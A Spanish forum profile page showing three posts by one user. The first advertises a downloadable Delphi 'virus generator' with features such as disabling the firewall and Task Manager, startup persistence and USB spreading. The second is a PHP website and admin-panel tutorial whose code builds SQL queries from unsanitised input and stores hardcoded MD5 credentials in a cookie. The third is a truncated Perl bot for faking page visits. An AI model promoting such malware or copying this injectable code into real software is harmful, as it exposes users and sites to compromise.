Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#81
Hola , esta vez les traigo un generador de virus que hice en Delphi con las siguientes opciones :

  • Desactivar Firewall
  • Apagar
  • Reiniciar
  • Cerrar sesion
  • Cambiar el texto de la taskbar
  • Ejecutar comandos
  • Desactivar regedit
  • Ocultar taskbar
  • Ocultar iconos
  • Volver loca la hora
  • Cargar cada vez que inicia Windows
  • Abrir lectora
  • Enviar pulsaciones de teclado con SendKeys
  • Matar proceso por PID
  • Cargar Word y hacer que escriba solo
  • Volver loco al mouse
  • Enviar mensajes con msgbox
  • Desactivar Taskmgr
  • Apagar el monitor
  • Realizar ruidos con Beep
  • USB Spread

    Incluye antidoto para las siguientes opciones :

  • Activar Firewall
  • Mostrar taskbar
  • Activar taskmgr
  • Borrar los rastros de USB Spread
  • Activar regedit
  • Borrar el startup creado
  • Restaurar el texto del taskbar

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=OsPOh1QhsOQ[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#82
PHP / [Guia] Creacion de una pagina con BD
23 Enero 2015, 16:47 PM
[Titulo] : Creacion de una pagina con BD
[Autor] : Doddy Hackman

[Temario]

--========================================================--

0x00 : Introduccion
0x01 : Creacion del diseño de la pagina
0x02 : Creacion un un logo estilo GTA
0x03 : Creacion de un footer animado
0x04 : Creacion de botones en Fireworks
0x05 : Creacion de un menu desplegable
0x06 : Creacion un panel de administracion

--========================================================--

0x00 : Introduccion

En este manual vamos a ver como hacer una pagina web en PHP que tengo un sistema de noticias y un panel de administracion y para poder entender este manual necesitan conocer HTML,CSS y PHP por lo menos de forma basica para entender su contenido y tambien necesitan los siguientes programas :

* Adobe Dreamweaver
* Adobe Photoshop
* Adobe Fireworks
* XAMPP O Easy PHP
* Anim-FX
* GifCam
* Un pack de imagenes que pueden descargar aca que contiene los fondos que necesitan en el manual y los ultimos dos programas

Cuando descarguen el pack copian los datos a una carpeta llamada "images" para usar durante el manual.

0x01 : Creacion del diseño de la pagina

Ahora vamos a hacer un diseño como este :



Para eso vamos a tener que seguir los siguientes pasos :

Descargamos el pack que esta en la sección de "Requisitos" que contiene las imagenes necesarias para hacer la pagina de ejemplo.

Iniciamos el Dreamweaver y creamos una nueva pagina como PHP , una vez creado guardamos el proyecto con formato PHP , el directorio puede ser cualquiera.

Despues copiamos en el directorio de la pagina la carpeta "images" del pack en el directorio que eligieron para guardar la pagina.

Ahora cambiamos volvemos a Dreamweaver y cambiamos el titulo de la pagina "Documento sin título" por "Plantilla".

Despues agregamos <center> entre el inicio y final del <body> para centrar la pagina.

Ahora nos vamos a "Insertar -> Objectos de diseño -> Etiqueta DIV" y despues ponemos como nombre de clase "container" y le damos a "Nueva regla" , le damos al boton "aceptar" a la ventana que se nos aparece , como es la primera vez que usamos un div nos va a preguntar con que nombre guardamos el css , entonces ponganle "style.css" y guarden , despues de eso nos va a aparecer una ventana nueva , en esa ventana nos vamos a la categoria "Cuadro" y ponemos las dimensiones 1050x768 , 1050 de ancho y 768 de largo , le damos al boton "aceptar" y de nuevo aceptar a la ventana que se nos aparece , despues borren el texto por defecto del container.

Todo como en las imagenes :











Para crear el banner hagan los mismos pasos pero ponganle de nombre "banner" y las dimensiones "1024x100" , ponganle 3 px de margen a todos y de relleno pongan los valores "5,10,5,10" seguidos , tambien pongan la opcion "flotar" en alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Banner"

Ahora para crear el contenido vamos a crear otro div con el nombre de "box" con las dimensiones 1024x500 , ponganle 3 px de margen a todos y de relleno tambien 5,10,5,10 , tambien pongan alineacion izquierda.

Como en la imagen :



* Borren el texto por defecto

Despues de insertar el box vamos a agregar otro div que sera el primer menu de categorias o lo que sea , de nombre pongan "menu" y tendra las dimensiones 200x500 , alineacion izquierda , margen 3 a todo y de relleno pongan 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "Menu"

Ahora para crear lo mas importante que es el body vamos a tener que crear otro div nuevo con el nombre de "body" con las dimensiones 566x500 , alineacion izquierda , margen 3 a todo , y de relleno solo pongan el primero que seria 5 los demas lo dejan en blanco.

Como en la imagen :



* Cambien el texto por defecto por "Body"

Ahora para crear la parte de afiliados vamos a crear otro div con el nombre de "otromenu" , las dimensiones serian de 200x500 , alineacion izquierda , margen 3 para todo y de relleno 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "OtroMenu"

Despues de eso ahora vamos al div final que es el footer , entonces creamos otro div con el nombre de "footer" con las dimensiones 1024x100 , margen 3 a todos menos al inferior que sera 10 , como relleno ponemos 5,10,5,10 y tambien le ponemos alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Footer"

Ahora comenzamos con el codigo CSS , primero vamos a la pestaña de style.css y en la parte del codigo cambien en las etiquetas banner,box,menu,body,otromenu y footer el "height" por "min-height" esto nos va a ayudar que cuando el texto sobrepase el div , el div se alargara.

Despues agregamos el siguiente codigo al archivo CSS para poner una imagen de fondo :

Código (html4strict) [Seleccionar]

body {
    background:transparent url("images/fondo1.jpg") repeat scroll 0 0;
    color:white;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
}


En las etiquetas banner,box,footer agreguen el siguiente codigo para darle bordes a los div y una imagen de fondo :

Código (html4strict) [Seleccionar]

    background-image:url("images/fondo2.jpg");
    background-color:#000;
    border: 3px dashed #00FFFF;


Si hacemos F12 para ver como nos queda la pagina se nos deberia ver algo asi en el navegador :



Ahora agregamos el siguiente codigo al archivo CSS , para poder agregar el cuadro en el que estaran las categorias,posts y los afiliados :

Código (html4strict) [Seleccionar]

.categorias {
    color:white;
    border: 3px dashed #00FFFF;
    width:200px;
    word-wrap: break-word;
}

.post {
    background-image:url("images/fondo2.jpg");
    background-color:#000;
    color:white;
    border: 3px dashed #00FFFF;
    margin-bottom:10px;
    width:560px;
    word-wrap: break-word;
}



Despues de eso agregamos el siguiente codigo entre las etiquetas "menu" del archivo PHP que vendria a ser las "Categorias" :

Código (html4strict) [Seleccionar]

<div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Ahora vamos a por los afiliados , vamos a agregar el siguiente codigo entre las etiquetas "otromenu" en el codigo del archivo PHP :

Código (html4strict) [Seleccionar]

<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Despues vamos a agregar el siguiente codigo entre las etiquetas "body" para colocar noticias de ejemplo en el archivo PHP :

Código (html4strict) [Seleccionar]

<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>


Todo el codigo HTML del archivo PHP nos deberia haber quedado algo asi :

Código (html4strict) [Seleccionar]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Plantilla</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<center>
<div class="container">
  <div class="banner">Banner</div>
  <div class="box">
    <div class="menu">
    <div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
    <div class="body">
<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>
    </div>
    <div class="otromenu">
<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
  </div>
  <div class="footer">Footer</div>
</div>
</center>
</body>
</html>


Si hicieron todo bien la pagina les deberia haber quedado algo como esto :



Eso seria todo por ahora en el diseño.

0x02 : Creacion un logo estilo GTA

Para crear un logo estilo GTA en Photoshop deben instalar primero la fuente necesaria del siguiente link , para instalar la fuente descargado solo arrastran y copian los archivos del comprimido en el directorio "c:/windows/fonts de Windows" , despues de eso cargamos Photoshop y seguimos los siguiente pasos :

Creamos un proyecto con las dimensiones 995x108 y fondo transparente como en la siguiente imagen :



Una vez creado ponganle de fondo una imagen cualquiera en mi caso recorto una imagen con paint y lo copio en el proyecto quedando algo asi :



Despues hacemos click en la opcion "Texto horizontal" y seleccionamos el tipo de fuente "Pricedown" , tamaño de letra 80 pt y tipo de color #ffffcc , entonces una vez hecho esto agregamos el texto "Probando" con la herramienta "Texto horizontal" seleccionada , todo deberia verse algo asi :



Ahora hacemos click derecho en la capa llamada "PROBANDO" que es el texto creado y hacemos click en "Opciones de Fusion" , entonces activamos el estilo "Trazo" , de tamaño pongan 3 y pongan de color #000000 , entonces hagan click en "OK" y les deberia quedar algo asi :





Ahora tenemos que seleccionar la "Capa 1" para ir despues a "Edicion->Contornear" , ponemos de anchura 8px  y de color #ffffcc , le damos a "OK" y se deberia ver algo asi :





Como detalle final sino les gusta la posicion del texto pueden mover el texto al centro o como mas les guste , en mi caso queda asi :



Para terminar guardamos el proyecto como "png" y volvemos a la plantilla creada con Dream y nos vamos al div "banner" , borramos el texto "Banner" y insertamos el logo creado con Photoshop , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta de la imagen.

Nos deberia quedar algo asi :



0x03 : Creacion de un footer animado

Cargamos el programa "Anim-FX" y llenamos los campos de la siguiente forma :

Text 1 : TEST 1
2 : TEST 2
3 : TEST 3
4 : TEST 4
5 : TEST 5

Tipo de efecto : flash

Tamaño de letra : 145
Color de letra : El color es celeste claro que vendria a ser 52FEFD

Se les deberia ver algo asi :



Ahora cargamos el GifCam y hacemos click en "Rec" sobre la zona de la animacion que quieren grabar.
Despues de terminar de grabar hacemos click en "Stop" y despues en "Save" para despues grabar el gif donde quieran

Una vez terminado todo nos vamos al proyecto de dream y en el div footer borramos el texto "Footer" y insertamos el gif animado , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta del gif.

Se les deberia ver algo asi :



Eso seria todo el footer animado.

0x04 : Creacion de botones en Fireworks

Para crear un boton en Fireworks primer cargamos el programa y hacemos click en crear un nuevo "Documento de Fireworks (PNG)" con las dimensiones de 100x50 y de colo de lienzo "transparente".

Les deberia quedar asi :



Una vez hecho esto vamos al cuadro de herramientas y seleccionamos "Rectangulo redondeado" de la herramienta "Rectangulo" que se encuentra en la sección "Vector".
Ya seleccionado creamos un rectangulo redondeado en la zona de trabajo del color que quieran , para ponerle un estilo primero seleccionen el rectangulo creado y despues seleccionen el estilo que quieran en el cuadro de herramientas derecho llamado "Activos->Estilos" quedando todo asi : 







En mi caso elegi el estilo mas parecido a Tron y desactivo el filtro "Sombra" porque no me gustaba como quedaba , los filtros estan en la parte de abajo del programa y se puede ver cuando estan aplicando el estilo.

Como ven ya tenemos la forma del boton , ahora vamos a ponerle texto , entonces seleccionamos la herramienta "herramienta de texto" para escribir "click" sobre el boton redondeado con el color que quieran , pueden mover el texto de posicion con la "herramienta puntero" si no les gusta como quedo.

Les deberia quedar algo asi , yo en mi caso elegi letra blanca :



Para terminar vamos a "Archivo->Guardar como" y guardamos el boton con el nombre que quieran , el formato que tendra sera de PNG.

Para usarlo en la plantilla que creamos con Dream vamos al div "otromenu" , borramos los links de ejemplo y pongan el siguiente codigo entre los div :

Código (html4strict) [Seleccionar]

<a href="http://www.petardas.com"><img src="images/click.png"></a><br />


Recuerden que el boton creado tiene que estar en una carpeta llamada images sino nunca se va a encontrar el boton.

Cambien petardas por el link que quieran y cambien click.png por el verdadero nombre y ruta del boton.

En mi caso use tres veces esa linea de codigo como ejemplo.

Les deberia quedar algo asi :





Y en el navegador se deberia ver asi :



Eso seria todo con los botones.

0x05 : Creacion de un menu desplegable

Bueno para hacer esto volvemos a la plantilla inicial con Dream y  borramos los links de ejemplo que estan la sección de categorias justamente en el div "menu" y agregamos un <br/> antes del </div> y otro despues del <h3> de categorias ,  y para terminar insertamos un menu vertical de la siguiente forma :

Insertar->Spry->Barra de menus de Spry y en la ventana que aparece seleccionamos "Vertical".

Deberiamos ver algo asi :



Primero vamos hacer click en el menu creado y desde ahi cambiar los textos de todos los "elementos" por "test" , cambien tanto en la columna 1 o en la columna 2 si es que se desplega otro menu a partir de ese.

Despues para poner un vinculo solo lo hacen desde la casilla correspondiente que esta abajo de la de "texto" , en mi caso solo voy a poner un link y va a ser en el "test2"

Deberian ver algo asi :



Ahora vamos a tunear el menu con colores raros con las siguientes pasos :

Para empezar seleccionamos el menu vertical y desde la sección de "Estilos CSS" hacemos click en "Actual" para despues seleccionar y hacer doble click en "border" 



Ahora vamos a la categoria "Borde" , en Estilo seleccionamos "doble" para todos , ancho 3 para todos y de color #2EFEF7 para todos.

Deberia quedar asi :



Despues vamos a "Estilos CSS" y despues a "Todo" para despues desplegar SpryMenuBarVertical.css.

Seleccionamos y hacemos doble click en "ul.MenuBarVertical a" para ir a la categoria "Tipo" y cambiar el color de la letra por celeste claro , ahora nos vamos a la categoria "Fondo" ponemos el color de fondo negro y para terminar ponemos la imagen de fondo "normal.jpg" con la opcion de "no repetir"

Quedando asi :







Ahora hacemos lo mismo con el "ul" que esta abajo del anterior solo que la fuente la dejan como esta y  la imagen de fondo va ser el fondo "hover.jpg" con la opcion de "no repetir".







Como menu final se les deberia ver algo asi :



Eso seria todo en el menu.

0x06 : Creacion un panel de administracion

Para empezar activemos el XAMPP o Easy PHP , despues creen las siguientes clases PHP en el directorio donde esta la pagina :

login_now.php

Código (php) [Seleccionar]

<?php

/*

Class : LoginNow

(c) Doddy Hackman 2015

*/

class LoginNow
{
    
    private 
$host;
    private 
$db;
    private 
$user;
    private 
$pass;
    private 
$tabla;
    private 
$columna1;
    private 
$columna2;
    private 
$usereal;
    private 
$passreal;
    private 
$campouser;
    private 
$campopass;
    private 
$cookiename;
    
    public function 
campos($campouser$campopass)
    {
        if (isset(
$_POST[$campouser])) {
            
$this->campouser $_POST[$campouser];
            
$this->campopass md5($_POST[$campopass]);
        } else {
            
$this->campouser $campouser;
            
$this->campopass $campopass;
        }
    }
    
    public function 
database($host$dbuser$dbpass$db$tabla$columna1$columna2)
    {
        
mysql_connect($host$dbuser$dbpass);
        
mysql_select_db($db);
        
$que mysql_query("SELECT * FROM " $tabla);
        while (
$test mysql_fetch_array($que)) {
            if (
$this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
                
$this->usereal  $test[$columna1];
                
$this->passreal $test[$columna2];
                return 
true;
            }
        }
    }
    
    public function 
secure($user$pass)
    {
        if (
$this->campouser == $user and $this->campopass == $pass) {
            
$this->usereal  $user;
            
$this->passreal $pass;
            return 
true;
        } else {
            return 
false;
        }
    }
    
    public function 
cookienow($cookiename)
    {
        
setcookie($cookienamebase64_encode($this->usereal "@" $this->passreal));
    }
    
}

?>



noticion.php

Código (php) [Seleccionar]

<?php

/*

PHP Class : Noticion 1.0

(C) Doddy Hackman 2015

*/


class noticion
{
    
    private 
$db;
    
    public function 
datos($host$user$pass$db)
    {
        
        
$this->db $db;
        
        if (@
mysql_connect($host$user$pass)) {
            if (@
mysql_select_db($db)) {
                return 
true;
            }
        }
    }
    
    public function 
crear_categoria($nuevacategoria)
    {
        
        
$todo1 "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
"
;
        
        
$todo2 "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
"
;
        
        if (@
mysql_query($todo1)) {
            if (@
mysql_query($todo2)) {
                return 
true;
            }
        }
        
    }
    
    public function 
eliminar_categoria($eliminarcategoria)
    {
        
        if (@
mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
            if (@
mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
                return 
true;
            }
            
        }
    }
    
    
    public function 
eliminar($id$categoria)
    {
        if (
is_numeric($id)) {
            if (@
mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
                return 
true;
            }
        }
    }
    
    public function 
nueva_noticia($x_titulo$x_contenido$x_fecha$categoria)
    {
        
$sumo mysql_query("SELECT MAX(id) FROM categoria_$categoria");
        
        
$s mysql_fetch_row($sumo);
        
        foreach (
$s as $d) {
            
$x_id $d 1;
        }
        if (@
mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
            return 
true;
        }
    }
    
    public function 
ver_este($id$categoria)
    {
        if (
is_numeric($id)) {
            
$total = array();
            if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
                while (
$ver = @mysql_fetch_array($que)) {
                    return array(
                        
$ver[0],
                        
$ver[1],
                        
$ver[2],
                        
$ver[3]
                    );
                }
            }
        }
    }
    
    public function 
listar_categorias()
    {
        
        
$found = array();
        
        if (
$re = @mysql_query("show tables from " $this->db)) {
            
            while (
$dat mysql_fetch_row($re)) {
                
$separo split("_"$dat[0]);
                
array_push($found$separo[1]);
            }
            return array(
                
$found
            
);
        }
        
    }
    
    public function 
ver_todo($categoria)
    {
        
$total = array();
        if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
            while (
$ver = @mysql_fetch_array($que)) {
                
array_push($total$ver);
            }
            return array(
                
$total
            
);
        }
    }
    
    public function 
mod($categoria$id$tit$con$fech)
    {
        if (@
mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
            return 
true;
        }
    }
    
    public function 
crear_comentario($categoria$id_noticia$fecha$apodo$mensaje)
    {
        
        
$sumo mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");
        
        
$s mysql_fetch_row($sumo);
        
        foreach (
$s as $d) {
            
$x_id $d 1;
        }
        
        if (
mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
            return 
true;
        }
        
    }
    
    public function 
mod_comentario($categoria$id$fecha$apodo$contenido)
    {
        if (@
mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
            return 
true;
        }
    }
    
    public function 
ver_comentarios($categoria$id)
    {
        
$todo = array();
        if (
$ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
            while (
$que = @mysql_fetch_array($ver)) {
                if (
$que[0] == 1) {
                    
array_push($todo$que);
                }
            }
            return array(
                
$todo
            
);
        }
        
    }
    
    
    public function 
borrar_comentario($categoria$id)
    {
        if (
is_numeric($id)) {
            if (@
mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
                return 
true;
            }
        }
    }
    
    
    public function 
cantidad_posts($categoria)
    {
        
$valor    mysql_query("SELECT MAX(id) FROM categoria_$categoria");
        
$cantidad mysql_fetch_row($valor);
        return 
$cantidad[0];
    }
    
    
    public function 
cerrar()
    {
        if (
mysql_close()) {
            return 
true;
        }
    }
    
}

// The End ?

?>



Ahora creen el siguiente codigo llamado admin.php :

Código (php) [Seleccionar]

<?php

include("login_now.php"); // LLamamos al archivo LoginNow.php
include("noticion.php"); // Llamamos al archivo noticion.php

$username "admin"// Declaramos el usuario
$password "21232f297a57a5a743894a0e4a801fc3"// Declaramos el password "admin" en md5

$host_mysql  "localhost"// Establecemos el host mysql
$user_mysql  "root"//Establecemos el usuario mysql
$pass_mysql  ""// Establecemos el password mysql
$db_mysql    "noticias"// Establecemos la BD Mysql
$tabla_mysql "test"// Declaramos el nombre de la tabla que contendra las noticias

$categoria "test"// Declaramos la categoria de las noticias

if (isset($_COOKIE['test'])) { // Si existe el cookie test ...
    
$comprobar base64_decode($_COOKIE['test']); // Decodificamos sub contenido que esta en base64 y guardamos su contenido en la variable $comprobar
    
$parte     preg_split("/@/"$comprobar); // Dividimos el usuario y el password que estan en entre @
    
$cookie    = new LoginNow// Creamos el objeto de la clase LoginNow
    
$cookie->campos($parte[0], $parte[1]); // Establecemos los valores del usuario y el password que estan en la variable $parte
    
if ($cookie->secure($username$password)) { // Verificamos con los valores globales que sean realmente los mismos passwords
        
        
$noticia = New noticion// Creamos el objeto noticion
        
$noticia->datos($host_mysql$user_mysql$pass_mysql$db_mysql); // Establecemos los datos Mysql
        
        
if (mysql_num_rows(mysql_query("show tables like 'categoria_$tabla_mysql'"))) { // Verificamos si existe la categoria
            
            
echo "
<title>Administrador</title>
<br><h1><center>Administrador</center></h1><br>
"
;
            
            list(
$noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias
            
            
echo "<center><table border=1>";
            
            foreach (
$noticias as $ver) { // Listamos la lista de noticias
                
echo "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[3]) . "</td><tr>"// Mostramos el ID,Titulo y Fecha
            
}
            echo 
"</table></center><br>";
            
            echo 
"
<center>
<form action='' method=POST>
Titulo : <input type=text name=titulo value=titulo><br><br>
Contenido : <input type=text name=contenido value=test><br><br>
<input type=submit name=publicar value=Publicar>
</form>
</center>
"
;
            
            if (isset(
$_POST['publicar'])) {
                
                if (
$noticia->nueva_noticia(addslashes($_POST['titulo']), addslashes($_POST['contenido']), addslashes(date('Y-m-d')), $categoria)) { // Creamos la noticia ...
                    
echo "<center>Noticia Subida</center>";
                } else {
                    echo 
"<center>Error</center>";
                }
            }
            
        } else {
            
$noticia->crear_categoria($categoria); // Creamos la categoria sino existe
            
echo "Tabla creada , reinicie la pagina";
        }
        
        
$noticia->cerrar();
        
    }
} else {
    
    echo 
"
<title>Login</title>
<br><h1><center>Login</center></h1><br>
<center>
<form action='' method=POST>
Usuario : <input type=text name=usuario><br>
Password : <input type=password name=password><br><br>
<input type=submit name=login value=Entrar><br>
</form>
</center>
"
;
    
    if (isset(
$_POST['login'])) {
        
        
$login1 = new LoginNow// Creamos el objeto de la calse LoginNow 
        
$login1->campos("usuario""password"); // Establecemos los campos html del formulario donde estan el usuario y el password
        
if ($login1->secure($username$password)) { // Verificamos que sean los mismos que los globales
            
$login1->cookienow("test"); // Creamos una cookie llamada "test"
            
echo "<center>Bienvenido administrador</center>";
        } else {
            echo 
"<center>Error en el inicio de sesion</center>";
        }
    }
    
}

?>



Primero modifiquen los datos mysql por los suyos en el admin.php despues entren con el user y pass : "admin" , deberian ver esto :



Una vez logeados :



Ahora creen las noticias que quieran , yo en mi caso voy a publicar 5 sucesivamente con "titulo" y "test".

Despues de eso mi panel se vera asi :



Ahora cargamos la plantilla creada y usada anteriormente con Dream para ir al div "body" y borrar todo lo que contiene para copiar el siguiente codigo en PHP :

Código (php) [Seleccionar]

<?php

include("noticion.php"); // Llamamos al archivo noticion.php

$host_mysql  "localhost"// Establecemos el host mysql
$user_mysql  "root"//Establecemos el usuario mysql
$pass_mysql  ""// Establecemos el password mysql
$db_mysql    "noticias"// Establecemos la BD Mysql
$tabla_mysql "test"// Declaramos el nombre de la tabla que contendra las noticias

$categoria "test"// Declaramos la categoria de las noticias

$noticia = New noticion// Creamos el objeto noticion
$noticia->datos($host_mysql$user_mysql$pass_mysql$db_mysql); // Establecemos los datos Mysql

list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias

foreach ($noticias as $ver) { // Listamos la lista de noticias
    
echo "<div class='post'>
<h3>" 
htmlentities($ver[1]) . "</h3> 
<p>" 
htmlentities($ver[2]) . "</p>
</div>"
;
}

?>



Los dos codigos estan identados y comentados para que puedan entender.

Deberian ver algo como esto :



Y el resultado de la pagina con el sistema de noticias seria :



Eso seria todo.

--========--
The End ?
--========--

Version PDF.

Version en VideoTutoriales :

https://www.youtube.com/watch?v=trrZJeyYJUQ
https://www.youtube.com/watch?v=GW-r3hOHz0Y
https://www.youtube.com/watch?v=sca5L7Lh_68
https://www.youtube.com/watch?v=y1CxJq_4ewY
https://www.youtube.com/watch?v=H-RWdyrdYwg
https://www.youtube.com/watch?v=QHE7OChFkjs

Cualquier error o sugerencia diganla para mejorar.
#83
Scripting / [Perl] DH ViewBot 0.2
16 Enero 2015, 16:59 PM
Un simple script que sirve como bot para hacer visitas con las siguientes opciones :

  • Visitar una sola pagina
  • Visitar paginas en un archivo marcado de forma ordenada
  • Visitar paginas en un archivo marcado de forma aleatoria
  • Opciones para timeout y cantidad de visitas

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #DH ViewBot 0.2
    #(C) Doddy Hackman 2015

    use Getopt::Long;
    use LWP::UserAgent;
    use URI::Split qw(uri_split);
    use IO::Socket;

    my @agents = (
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
        'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
    'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
    'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
        'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
    'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
    'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
    );

    GetOptions(
        "single=s"     => \$single_opt,
        "file=s"       => \$file_opt,
        "randomfile=s" => \$randomfile_opt,
        "timeout=i"    => \$timeout_opt,
        "count=i"      => \$count_opt
    );

    head();

    if ( $single_opt or $file_opt or $randomfile_opt ) {

        my $page = $single_opt;

        my $timeout = "";

        if ( $timeout_opt eq "" ) {
            $timeout = "5";
        }
        else {
            $timeout = $timeout_opt;
        }

        my $count = "";

        if ( $count_opt eq "" ) {
            $count = "10";
        }
        else {
            $count = $count_opt;
        }

        if ( $single_opt ne "" ) {

            my $page = $single_opt;

            print "\n[+] Configuration\n";

            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $page . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "[+] Visit Count  : " . $count . "\n";
            print "--------------------------------------------------";

            visitar( $page, $timeout, $count, "single" );

        }

        elsif ( $randomfile_opt ne "" ) {

            visitar_random( $randomfile_opt, $timeout, $count );

        }
        elsif ( $file_opt ne "" ) {

            if ( $file_opt ne "" ) {

                unless ( -f $file_opt ) {
                    print "\n[-] File not exist\n";
                    copyright();
                    exit(1);
                }

                print "\n" . toma_fecha_y_hora("Started");

                my @paginas = repes( leer_archivo($file_opt) );

                for my $page (@paginas) {

                    chomp $page;

                    print "\n--------------------------------------------------";
                    print "\n[+] Page : " . $page . "\n";
                    print "[+] Timeout : " . $timeout . "\n";
                    print "[+] Visit Count : " . $count . "\n";
                    print "--------------------------------------------------";

                    visitar( $page, $timeout, $count, "file" );

                }

                print "\n" . toma_fecha_y_hora("Finished");

            }
            else {
                print "\n[-] Option not selected\n";
                exit(1);
            }

        }

    }
    else {
        print qq(
    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    );
        print
    "[+] Example : perl $0 -single http://www.supertangas.com/index.php -timeout 5 -count 50\n";
    }
    copyright();

    # Functions

    sub head {
        print "\n-- == DH ViewBot 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2015 == --\n";
    }

    sub visitar_random {

        my ( $file, $timeout, $count ) = @_;

        my @paginas     = repes( leer_archivo($file) );
        my $total_bueno = "";
        my $total_malo  = "";

        print "\n" . toma_fecha_y_hora("Started");

        for ( 1 .. $count ) {
